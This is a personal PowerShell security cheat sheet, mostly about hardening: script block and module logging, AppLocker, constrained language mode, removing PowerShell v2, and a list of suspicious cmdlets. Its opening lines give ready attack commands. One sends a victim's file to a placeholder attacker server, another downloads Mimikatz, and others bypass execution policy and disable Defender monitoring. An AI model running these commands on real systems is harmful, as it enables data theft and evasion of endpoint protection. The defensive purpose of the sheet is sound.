Personal sheet for PowerShell 🧢
TO BE CONTINUED indefinitely...
PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri https://{ATTACKER_IP_SERVER} -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Victim\path\to\data.xml')))
PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -Method GET -uri https://{ATTACKER_IP_SERVER}/exec/mimikatz.exe -OutFile "c:\Users\Victim\mimi.exe"
PowerShell.exe -noprofile -executionpolicy bypass -file .\malicious.ps1
or:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force
Setting the execution policy to RemoteSigned
only allows running unsigned scripts.
__PSLockdownPolicy
If this env var is set on production, there's a chance admins think it's a safety measure.
PowerShell.exe -Version 2
Older versions of PS have less security features according to the unicorn.
You can use p0wnedShell or the more recent PowerLessShell.
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
If admins use misconfigured RDP (remote desktop protocol) for remoting, it can be Brute-Forced to pass malicious cmdlets.
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
Default since PowerShell v5 if you use AppLocker.
Get-AppLockerPolicy -Effective
New-AppLockerPolicy
Test-AppLockerPolicy -Path <path_to_exec>
Go to Windows Configuration > Policies > Administrative Settings > Windows Components > Windows PowerShell
- Turn on Module Logging
- Turn on PowerShell Script Block Logging
or with PowerShell:
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name EnableModuleLogging -Value "1"
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockInvocationLogging -Value "1"
Then, it's possible to connect logs to a SIEM or a similar software.
GPO or:
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value "1"
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableInvocationHeader" -Value "1"
Go to Windows Components -> Administrative Templates -> Event Logging: "Enable Protected Event Logging." You 'll have to provide a valid certificate.
or:
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging" -Name "EnableProtectedEventLogging" -Value "1"
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\EventLog\ProtectedEventLogging" -Name "EncryptionCertificate" -Value $Certificate
Where $Certificate
is your certificate.
Get-ExecutionPolicy
Set-executionpolicy restricted
restricted
should be default, but check it.
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
More advanced tricks there
Some attacks attempt to modify settings and disable some protections. There are important inconveniences for attackers, though:
- most commands require an elevated shell
- notifications are sent by default
- Windows events are triggered by default
Many legitimate commands like Invoke-WebRequest
can be exploited by attackers, but some cmdlets look more suspicious than others. Here are a few examples:
Invoke-Mimikatz
Invoke-ShellCode
Get-FileHash
Invoke-DllInjection
Get-Hotfix | measure
It often means attackers used a known tool (e.g, PowerSploit, Mimikatz, Powercat) or performed advanced enumeration.
JEA (Just Enough Administration) allows more control over PowerShell, especially if you need more granularity on cmdlets and security for remoting.
Get-WmiObject Win32_Product | Select-Object Name
Get-Process
Get-NetTCPConnection
Get-NetFirewallRule
Get-ScheduledTask
Get-EventLog -LogName Security
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq <event_id>}
Get-LocalUser
Get-LocalGroup
Get-ChildItem Env:
Get-Service
Start-Service -Name <service>
Stop-Service <service>
Stop-Process -Name <process>
Unregister-ScheduledTask -TaskName <task>
Disable-NetFirewallRule -DisplayName <rule>